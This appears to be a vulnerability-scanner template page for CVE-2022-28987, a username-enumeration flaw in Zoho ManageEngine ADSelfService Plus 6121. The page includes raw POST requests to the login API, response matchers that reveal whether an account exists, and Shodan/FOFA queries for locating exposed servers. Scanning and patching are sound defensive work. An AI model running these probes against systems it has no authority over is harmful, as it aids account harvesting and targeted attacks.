Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration
CVE-2022-28987
Verified
Description
Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.
Severity
Medium
CVSS Score
5.3
Exploit Probability
11%
Published Date
January 29, 2026
Template Author
ritikchaddha
CVE-2022-28987.yaml
id: CVE-2022-28987
info:
name: Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration
author: ritikchaddha
severity: medium
description: |
Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.
impact: |
Attackers can enumerate valid usernames, aiding targeted attacks or account harvesting.
remediation: |
Update to version 6202 or later.
reference:
- https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-28987
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-28987
epss-score: 0.11168
epss-percentile: 0.93591
cwe-id: CWE-203
metadata:
max-request: 2
verified: false
shodan-query: http.title:"ADSelfService Plus"
fofa-query: title="ADSelfService Plus"
tags: cve,cve2022,zoho,manageengine,user-enum,adselfservice,vkev
http:
- raw:
- |
POST /ServletAPI/accounts/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
loginName=asdfnonexistent
- |
POST /ServletAPI/accounts/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
loginName=Guest
matchers-condition: or
matchers:
- type: dsl
dsl:
- 'contains(body, "eSTATUS\":\"Permission Denied")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
- type: dsl
dsl:
- 'contains(body, "eSTATUS\":\"Your account has been disabled")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100cdc006248bb863fc40a069ef3d292e8b062918e75fdeb45e2e51f5e9e6e07dad0220780bef419df2a48467358d56ff283037456179335568d60940ff6ad7e4208ac9:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2022-28987
CWE ID:
cwe-203
Remediation Steps
Update to version 6202 or later.